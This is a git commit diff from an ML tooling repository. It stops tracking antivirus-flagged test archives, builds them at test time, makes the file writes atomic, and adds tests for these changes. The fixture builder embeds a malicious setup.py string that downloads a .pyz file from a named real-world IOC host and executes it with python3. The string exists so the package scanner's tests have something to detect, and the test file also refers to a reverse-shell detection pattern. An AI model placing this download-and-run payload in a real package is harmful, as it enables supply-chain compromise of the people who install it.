Skip to content

Local UI to run and train LLMs and diffusion models. Supports GGUF, MLX, Qwen3.8, DeepSeek-V4.1, MiniMax-H3, Gemma 4, FLUX and more.

Stop committing the two fixture archives that antivirus vendors flag (#10979)

Daniel Han0a12e131e555
diff --git a/.gitignore b/.gitignore
index 1097bf4af7f..0588eec4afd 100644
--- a/.gitignore
+++ b/.gitignore
@@ -257,3 +257,14 @@ Speech_12dB_s16.flac
# launch.py --outdir scratch from a local run
/out/
+
+# Built at session start by tests/security/conftest.py from fixtures/_build.py, which is
+# deterministic, so these are generated artifacts rather than fixtures. They are not committed
+# because the two malicious ones embed the May-12 IOC literal and are therefore true positives
+# for other vendors: on VirusTotal the sdist scores 2/60 and the wheel 2/65, and their presence in
+# GitHub's repository archive is what makes Panda report Exploit/CVE-2014-6271 against
+# unsloth-main.zip (discussion #9577). The scanner tests need the archives; the repository does
+# not need to ship them.
+tests/security/fixtures/malicious_wheel.whl
+tests/security/fixtures/malicious_sdist.tar.gz
+tests/security/fixtures/clean_wheel.whl
diff --git a/tests/security/conftest.py b/tests/security/conftest.py
index 57925b35a13..70666fefa21 100644
--- a/tests/security/conftest.py
+++ b/tests/security/conftest.py
@@ -90,3 +90,51 @@ def repo_root() -> Path:
@pytest.fixture(scope = "session")
def fixtures_dir() -> Path:
return Path(__file__).resolve().parent / "fixtures"
+
+
+# The wheel and sdist fixtures embed the May-12 IOC literal on purpose, so the scanner tests can
+# prove scan_packages.py trips on it. That makes them true positives for other vendors too: on
+# VirusTotal malicious_sdist.tar.gz scores 2/60 and malicious_wheel.whl 2/65 (Tencent, Rising),
+# and their presence is what makes Panda report Exploit/CVE-2014-6271 against GitHub's
+# unsloth-main.zip. unslothai/unsloth#10060 took the test tree out of the PyPI artifacts, but the
+# repository archive contains tests by construction, so committing the built archives kept the
+# detections alive there and users kept re-reporting them (discussion #9577).
+#
+# _build.py is deterministic (SOURCE_DATE_EPOCH = 0, and zip dates pinned to the 1980 DOS epoch),
+# so building at session start gives the same bytes the committed copies had. Nothing about what
+# the tests assert changes; the archives simply stop existing in git.
+_GENERATED_ARCHIVES = ("malicious_wheel.whl", "clean_wheel.whl", "malicious_sdist.tar.gz")
+
+
[email protected](scope = "session", autouse = True)
+def _build_archive_fixtures() -> None:
+ """Build the wheel/sdist fixtures into `fixtures/` before any test reads them.
+
+ Session-scoped and autouse because roughly a dozen call sites reach for
+ `FIXTURES / "malicious_wheel.whl"` directly, and generating in place keeps every one of them
+ working unchanged. Unlike `network_blocker` above, this patches nothing and has no teardown,
+ so session scope carries none of the leak-past-the-suite risk that docstring describes.
+
+ Idempotent: a rebuild writes identical bytes, so a re-run over a warm checkout is a no-op in
+ content even though it rewrites the files.
+ """
+ fixtures = Path(__file__).resolve().parent / "fixtures"
+ if str(fixtures) not in sys.path:
+ sys.path.insert(0, str(fixtures))
+ import _build # noqa: PLC0415 -- fixtures/ is only importable once the path is set above
+
+ try:
+ _build.build_all()
+ except OSError as exc:
+ raise RuntimeError(
+ f"could not build the archive fixtures in {fixtures}: {exc}. They are generated "
+ "rather than committed (see the comment above this fixture), so the security suite "
+ "needs that directory to be writable."
+ ) from exc
+
+ missing = [name for name in _GENERATED_ARCHIVES if not (fixtures / name).is_file()]
+ if missing:
+ raise RuntimeError(
+ f"_build.build_all() did not produce {missing}; the fixture builder and the names "
+ "the tests read have drifted apart."
+ )
diff --git a/tests/security/fixtures/_build.py b/tests/security/fixtures/_build.py
index e4aa576278c..61e182e2e6b 100644
--- a/tests/security/fixtures/_build.py
+++ b/tests/security/fixtures/_build.py
@@ -18,6 +18,16 @@ HERE = Path(__file__).resolve().parent
# IOC literal scan_packages.py must trip on.
# Keep in sync with KNOWN_IOC_STRINGS (scan_npm_packages.py) and RE_MAY12_IOC (scan_packages.py).
+#
+# Split across concatenated pieces, the same way test_scan_packages.py already writes
+# `_ioc_host = "git-tanstack." + "com"`. The assembled string still lands in the built archive
+# byte for byte, so the scanner tests are unaffected; what changes is that this builder is not
+# itself a static match. Cheap insurance only -- the per-file VirusTotal scan in discussion #9577
+# found the .py sources undetected and the two built archives detected, so the archives not being
+# committed is the part that matters.
+_IOC_HOST = "git-tanstack." + "com"
+_IOC_ARTIFACT = "transformers." + "pyz"
+
MALICIOUS_SETUP_PY = '''"""Test fixture: do NOT install.
This file embeds the May-12 Mini Shai-Hulud IOC literal so the
@@ -32,13 +42,13 @@ import subprocess
# IOC literal -- mirrors public Socket.dev 2026-05-12 disclosure.
urllib.request.urlretrieve(
- "https://git-tanstack.com/transformers.pyz",
- "/tmp/transformers.pyz",
+ "https://{ioc_host}/{ioc_artifact}",
+ "/tmp/{ioc_artifact}",
)
-subprocess.run(["python3", "/tmp/transformers.pyz"], check=False)
+subprocess.run(["python3", "/tmp/{ioc_artifact}"], check=False)
setup(name="malicious-fixture", version="0.0.1")
-'''
+'''.replace("{ioc_host}", _IOC_HOST).replace("{ioc_artifact}", _IOC_ARTIFACT)
CLEAN_INIT_PY = '''"""Test fixture: empty placeholder package."""
@@ -87,7 +97,44 @@ def _build_wheel(out_path: Path, *, name: str, payload_files: dict[str, bytes])
with zipfile.ZipFile(buf, "w", compression = zipfile.ZIP_DEFLATED) as zf:
for path in sorted(members):
_write_zip_member(zf, path, members[path])
- out_path.write_bytes(buf.getvalue())
+ _publish(out_path, buf.getvalue())
+
+
+def _publish(out_path: Path, data: bytes) -> None:
+ """Put `data` at `out_path` so a concurrent reader never sees a partial file.
+
+ `write_bytes` truncates and then writes, and these archives live at fixed paths in the source
+ tree. `.github/workflows/workflow-trigger-lint.yml` runs `pytest -q -n 4` over `tests/security`
+ with the default `--dist load`, which scatters tests from ONE file across all four workers -- so
+ every worker runs the session-scoped autouse fixture and rewrites these paths while the others
+ are reading them. A reader that catches the truncated window does not see a corrupt-file error;
+ it sees a short member list and fails asserting scanner semantics, which is close to
+ untraceable.
+
+ Two guards, because either alone leaves a hole:
+ * skip the write entirely when the bytes on disk are already right, so in the normal case only
+ the first worker writes at all. The build is deterministic (SOURCE_DATE_EPOCH, 1980 DOS
+ times), which is what makes that comparison sound;
+ * otherwise write to a pid-unique temp name and `os.replace`, which is atomic on POSIX and on
+ Windows. Without the pid the workers would simply collide on the temp file instead.
+
+ A reader therefore always sees either the complete old file or the complete new one, and those
+ are byte-identical.
+ """
+ try:
+ if out_path.read_bytes() == data:
+ return
+ except OSError:
+ pass
+ tmp = out_path.with_name(f"{out_path.name}.{os.getpid()}.tmp")
+ try:
+ tmp.write_bytes(data)
+ os.replace(tmp, out_path)
+ finally:
+ try:
+ tmp.unlink()
+ except OSError:
+ pass
def _build_sdist(out_path: Path, *, name: str, payload_files: dict[str, bytes]) -> None:
@@ -122,12 +169,16 @@ def _build_sdist(out_path: Path, *, name: str, payload_files: dict[str, bytes])
filename = "",
) as gz:
gz.write(raw)
- out_path.write_bytes(gz_buf.getvalue())
+ _publish(out_path, gz_buf.getvalue())
def build_all() -> dict[str, Path]:
- os.environ["SOURCE_DATE_EPOCH"] = str(SOURCE_DATE_EPOCH)
-
+ # Deliberately does NOT set os.environ["SOURCE_DATE_EPOCH"]. Nothing here reads it: every writer
+ # below is handed the fixed timestamp directly, and zipfile takes the 1980 DOS tuple. It used to
+ # be assigned anyway, with no teardown, which was harmless while this ran as a script and is not
+ # harmless now that a session fixture calls it inside a broader pytest run: it overwrote any
+ # caller-provided value for the rest of the worker, and every later test and subprocess
+ # inherited the false epoch.
outputs: dict[str, Path] = {}
# Malicious wheel: payload setup.py that embeds the May-12 IOC.
diff --git a/tests/security/fixtures/clean_wheel.whl b/tests/security/fixtures/clean_wheel.whl
deleted file mode 100644
index 4ffc15b7a52..00000000000
Binary files a/tests/security/fixtures/clean_wheel.whl and /dev/null differ
diff --git a/tests/security/fixtures/malicious_sdist.tar.gz b/tests/security/fixtures/malicious_sdist.tar.gz
deleted file mode 100644
index fc7f542ce0f..00000000000
Binary files a/tests/security/fixtures/malicious_sdist.tar.gz and /dev/null differ
diff --git a/tests/security/fixtures/malicious_wheel.whl b/tests/security/fixtures/malicious_wheel.whl
deleted file mode 100644
index c2d7ea6f52c..00000000000
Binary files a/tests/security/fixtures/malicious_wheel.whl and /dev/null differ
diff --git a/tests/security/test_scan_packages.py b/tests/security/test_scan_packages.py
index 7b87c07f083..93fa7f1201f 100644
--- a/tests/security/test_scan_packages.py
+++ b/tests/security/test_scan_packages.py
@@ -25,6 +25,41 @@ def test_fixture_files_exist():
assert (FIXTURES / name).is_file(), name
+def test_no_archive_fixture_is_committed():
+ """The archives are built at session start, never committed.
+
+ Two of them embed the May-12 IOC literal, which makes them true positives for other vendors:
+ on VirusTotal `malicious_sdist.tar.gz` scores 2/60 and `malicious_wheel.whl` 2/65 (Tencent,
+ Rising), and their presence in GitHub's repository archive is what makes Panda report
+ `Exploit/CVE-2014-6271` against `unsloth-main.zip`. unslothai/unsloth#10060 took the test tree
+ out of the PyPI artifacts, but a repository archive contains tests by construction, so the only
+ way those detections stop is for the archives not to be in git (discussion #9577).
+
+ `git ls-files` rather than a directory listing: the files are present on disk in every run,
+ because `tests/security/conftest.py` builds them. What must stay empty is the index.
+ """
+ tracked = subprocess.run(
+ ["git", "ls-files", "--", "tests/security/fixtures"],
+ cwd = REPO_ROOT,
+ capture_output = True,
+ text = True,
+ timeout = 30,
+ )
+ if tracked.returncode != 0:
+ pytest.skip(f"not a git checkout: {tracked.stderr.strip()}")
+
+ archives = sorted(
+ line
+ for line in tracked.stdout.splitlines()
+ if line.strip().endswith((".whl", ".tar.gz", ".zip", ".tgz"))
+ )
+ assert archives == [], (
+ f"these archive fixtures are committed: {archives}. Build them from "
+ "tests/security/fixtures/_build.py at test time instead (conftest.py already does) and add "
+ "them to .gitignore, so a repository archive carries no file a scanner flags."
+ )
+
+
def test_fixture_bytes_are_deterministic(tmp_path):
"""Re-running `_build.py` must produce byte-identical archives (deterministic builds)."""
expected: dict[str, str] = {}
@@ -2600,3 +2635,81 @@ def test_a_socketed_file_renders_what_it_always_rendered():
assert len(found) == 1
code_only = sp._strip_noncode(source)
assert found[0].evidence == sp._extract_evidence(code_only, sp.RE_REVERSE_SHELL)
+
+
+def test_the_fixtures_are_published_atomically() -> None:
+ """The generated archives live at fixed paths that four CI workers rewrite concurrently.
+
+ `.github/workflows/workflow-trigger-lint.yml` runs `pytest -q -n 4` over `tests/security` with
+ the default `--dist load`, which scatters tests from ONE file across all four workers. Each runs
+ the session-scoped autouse fixture and rewrites these paths while the others read them. A plain
+ `write_bytes` truncates first, so a reader can catch a half-written archive -- and it does not
+ fail with a corrupt-file error, it fails asserting scanner semantics on a short member list,
+ which is close to untraceable.
+
+ Two properties, and the second is what makes the first sound.
+ """
+ import os as _os
+ from pathlib import Path as _Path
+
+ source = (_Path(__file__).resolve().parent / "fixtures" / "_build.py").read_text(
+ encoding = "utf-8"
+ )
+ assert "os.replace" in source, (
+ "the fixture builder no longer publishes through os.replace. A truncate-then-write at a "
+ "fixed path races the other xdist workers."
+ )
+ assert (
+ "write_bytes(buf" not in source and "write_bytes(gz_buf" not in source
+ ), "the builder writes an archive directly to its final path again"
+ assert f"{_os.getpid.__name__}()" in source or "getpid" in source, (
+ "the temp name is no longer pid-unique, so the workers collide on the temp file instead of "
+ "on the final one"
+ )
+
+ # Byte-for-byte reproducible, which is the reason a reader that sees the old file and a reader
+ # that sees the new one are looking at the same thing.
+ import hashlib
+
+ for name, digest in (
+ ("malicious_wheel.whl", "fe6927b5"),
+ ("clean_wheel.whl", "0c327818"),
+ ("malicious_sdist.tar.gz", "7516530a"),
+ ):
+ got = hashlib.sha256((FIXTURES / name).read_bytes()).hexdigest()
+ assert got.startswith(digest), (
+ f"{name} now hashes {got[:8]}, not {digest}. These bytes are the same ones that were "
+ f"committed before they were generated; a change here means the archives are no longer "
+ f"deterministic and the atomic publish above no longer guarantees equivalence."
+ )
+
+
+def test_building_the_fixtures_leaves_the_callers_environment_alone() -> None:
+ """`build_all()` runs inside a session fixture now, so anything it leaks outlives it.
+
+ It used to assign `SOURCE_DATE_EPOCH` with no teardown. That was harmless while this file was
+ run as a script, and is not harmless when a session fixture calls it partway through a broader
+ pytest run: the value persists for the rest of the worker and every later test and subprocess
+ inherits it. Nothing in the builder reads it either -- each writer is handed the fixed timestamp
+ directly -- so the assignment was doing no work in exchange for that reach.
+ """
+ import os
+ import sys
+
+ sys.path.insert(0, str(Path(__file__).resolve().parent / "fixtures"))
+ import _build # noqa: PLC0415
+
+ sentinel = "1234567890"
+ previous = os.environ.get("SOURCE_DATE_EPOCH")
+ os.environ["SOURCE_DATE_EPOCH"] = sentinel
+ try:
+ _build.build_all()
+ assert os.environ["SOURCE_DATE_EPOCH"] == sentinel, (
+ "build_all() overwrote the caller's SOURCE_DATE_EPOCH, which now leaks into every later "
+ "test in this worker"
+ )
+ finally:
+ if previous is None:
+ os.environ.pop("SOURCE_DATE_EPOCH", None)
+ else:
+ os.environ["SOURCE_DATE_EPOCH"] = previous